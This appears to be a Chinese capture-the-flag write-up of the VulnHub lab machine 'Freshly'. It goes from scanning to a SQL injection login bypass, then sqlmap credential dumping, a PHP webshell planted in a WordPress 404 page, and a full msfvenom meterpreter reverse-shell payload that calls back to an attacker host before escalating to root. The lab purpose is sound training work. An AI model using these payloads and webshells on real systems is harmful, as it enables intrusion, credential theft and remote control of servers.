靶机下载链接 :
https://download.vulnhub.com/tophatsec/Freshly.ova
测试环境:
靶机:Freshly
网络连接方式:桥接模式
运行软件:Virtualbox
攻击机:kali,win10
网络连接方式:桥接模式
信息收集
1.1、确认IP
nmap扫描确认主机存活,确认靶机IP:192.168.50.78
nmap -sn 192.168.50.1/24
1.2、扫描端口和服务
nmap扫描端口和服务,将结果报错到freshly.txt文件中
nmap -p- -A 192.168.50.78 -oN freshly.txt
收集的信息:
80 http
443 https
8080 http
linux3.2-4.9 ubuntu apache2.4.7
1.3、访问http服务
访问80端口,http://192.168.50.78/, 一张图片,没有发现什么有用的信息
访问443端口,https://192.168.50.78/ ,找到一个wordpress站点
https://192.168.50.78/wordpress/
访问8080,http://192.168.50.78:8080/ ,还是得到这个页面
https://192.168.50.78/wordpress/
1.4、扫描目录
dirb扫描目录
/img/
/wordpress/
dirbuster扫描目录
找web漏洞
2.1、查看wordpress页面
访问了
/store/,/cart/,/checkout/,/express/,/ipn/,/receipt/,这几个目录,没找到什么有用的信息
访问
http://192.168.50.78:8080/wordpress/atom ,一个邮件订阅页面,没发现有什么用
在搜索处尝试SQL注入,没有成功,用sqlmap也没结果
访问
http://192.168.50.78:8080/wordpress/wp-admin/ ,是一个更新数据库的页面
更新了下,没发现页面有什么变化
页面跳转至
http://192.168.50.78:8080/wordpress/login ,wordpress后台的登陆页
提示密码错误,说明admin用户存在,尝试弱口令爆破,没有成功
在主页下方的留言板留言试试
页面跳转至
https://192.168.50.78/wordpress/wp-comments-post.php ,并提示错误,没测出来漏洞
2.2、wpscan扫描
用wpscan扫描下,没发现什么有用的信息
2.3、忽略掉的思路和方向
扫目录加上端口
扫描目录时,忘了加端口,而默认扫描的,不是80端口下的内容,导致扫描出来的目录不全
重新扫描,http://192.168.50.78:80/
得到新的方向:
http://192.168.50.78:80/login.php
http://192.168.50.78:80/phpmyadmin/
http://192.168.50.78:80/javascript/
访问
http://192.168.50.78:80/phpmyadmin/ ,尝试爆破,失败
SQL注入
访问http://192.168.50.78:80/login.php ,发现是个登陆页面
尝试万能密码,发现单引号就能绕过
1' or 1=1 #
页面没有跳转,只有0和1的显示,属于布尔型的注入
确认数据库名长度
确认数据库名长度为5
1' or 1=1 and length(database())=5# //回显1
1' or 1=1 and length(database())>5# //回显0
sqlmap
布尔盲注有些繁琐,还是用sqlmap跑下吧
先拿到POST请求包,在user=1后加个*指定下注入点,将请求包保存到sqltest.txt中
POST /login.php HTTP/1.1Host: 192.168.50.78User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateDNT: 1Referer: http://192.168.50.78/login.phpCookie: PHPSESSID=qj4c92fpeec7236d5iio3eceb3; Cart66DBSID=O2RHWHKR2J77SNGIKR89DWXKCOAXPLIL3DQRF2VDConnection: closeUpgrade-Insecure-Requests: 1Content-Type: application/x-www-form-urlencodedContent-Length: 26user=1*&password=1&s=Submi
使用sqlmap进行测试
sqlmap -r sqltest.txt --batch
结果跑出来的是个时间盲注。。。
sqlmap -r sqltest.txt --dbs --batch
跑库名
[ ] information_schema[ ] login[ ] mysql[ ] performance_schema[ ] phpmyadmin[ ] users[ ] wordpress8080
sqlmap -r sqltest.txt -D login --tables --batch
跑表名
+-----------+| user_name || users |+-----------+
sqlmap -r sqltest.txt -D users --tables --batch
结果,users下没有表
sqlmap -r sqltest.txt -D wordpress8080 --tables --batch
+-------+| users |+-------+
sqlmap -r sqltest.txt -D phpmyadmin --tables --batch
+---------------------+| pma_bookmark || pma_column_info || pma_designer_coords || pma_history || pma_pdf_pages || pma_recent || pma_relation || pma_table_coords || pma_table_info || pma_table_uiprefs || pma_tracking || pma_userconfig |+---------------------+
跑字段
查询login数据库下users表中的字段,password和user_name
sqlmap -r sqltest.txt -D login -T users --columns --batch
+-----------+-------------+| Column | Type |+-----------+-------------+| password | varchar(20) || user_name | varchar(20) |+-----------+-------------+
查询login数据库下user_name表中的字段,得到user_name字段
sqlmap -r sqltest.txt -D login -T user_name --columns --batch
查询wordpress8080数据库下users表中的字段,得到password与username字段
sqlmap -r sqltest.txt -D wordpress8080 -T users --columns --batch
跑值
查询login数据库下user_name表下的user_name字段的值,得到candyshop
sqlmap -r sqltest.txt -D login -T user_name -C user_name --dump --batch
查询login数据库下users表下的user_name字段的值,得到candyshop和Sir
sqlmap -r sqltest.txt -D login -T users -C user_name --dump --batch
查询login数据库下users表下的password字段的值,得到password和PopRocks
sqlmap -r sqltest.txt -D login -T users -C password --dump --batch
查询wordpress8080 数据库下users表下的username字段的值,得到admin
sqlmap -r sqltest.txt -D wordpress8080 -T users -C username --dump --batch
查询wordpress8080 数据库下users表下的password字段的值,得到SuperSecretPassword
sqlmap -r sqltest.txt -D wordpress8080 -T users -C password --dump --batch
2.4、拿shell
C刀
拿到上面三对账号密码尝试登陆Wordpress,只有admin与SuperSecretPassword可以登陆
既然成功登陆到Wordpress,这次还是利用404页面拿shell
试着直接往404页面末尾加入一句话木马
<?php @assert($_POST[x]); ?>
用蚁剑连接失败,用C刀可以连接404页面
https://192.168.50.78/wordpress/wp-content/themes/Kratos-2/404.php 密码x
试着通过C刀的模拟终端来提权发现不行,干脆直接重新上传个webshell即可,但不知道为啥C刀一上传文件软件就崩溃了,算了,换个方式
msf反弹shell
通过msf生成php格式的webshell,将内容复制刀404.php中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.50.131 LPORT=9999 -f raw >shell.php
得到shell.php的具体内容如下:
/*/**/ error_reporting(0); $ip = '192.168.50.131'; $port = 9999; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}");$s_type = 'stream';}if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port);if (!$res) { die(); }$s_type = 'socket';}if (!$s_type) { die('no socket funcs'); }if (!$s) { die('no socket'); }switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; }if (!$len) { die();}$a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } }$GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type;if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b);$suhosin_bypass(); }else { eval($b); }die();
将shell内容放到<?php ?>标签中,然后复制到404.php最下方
msf监听9999端口
use exploit/multi/handlerset payload php/meterpreter/reverse_tcpset lhost 192.168.50.131set lport 9999exploit
访问https://192.168.50.78/wordpress/wp-content/themes/Kratos-
2/404.php 这个404页面
成功反弹shell,使用python反弹终端
python -c 'import
pty;pty.spawn("/bin/bash")'
2.5、提权
输入su
输入密码SuperSecretPassword
成功提权至root
本来还查看了/etc/passwd,发现有用户candycane,输入密码password,切换了用户
再从candycane提权到root
没想到直接从daemon提权至root成功了。。。
总结
遇到的坑:
1、扫目录的时候没有加端口,以为不加端口就是默认扫描80端口。。没想到默认扫的是8080端口,导致一直没找到突破口
2、尝试菜刀拿shell时,通过菜刀连接,一上传或下载文件就卡死。。。
3、尝试msf反弹shell时,发现shell.php并无完整的php标签<?php ?>,随意将代码复制到了原404代码中的<?php ?>中,虽然也能成功反弹shell,但404.php页面会打不开
新get的思路和方法:
可以在保证404页面正常访问前提下,利用wordpress的404页面反弹shell
end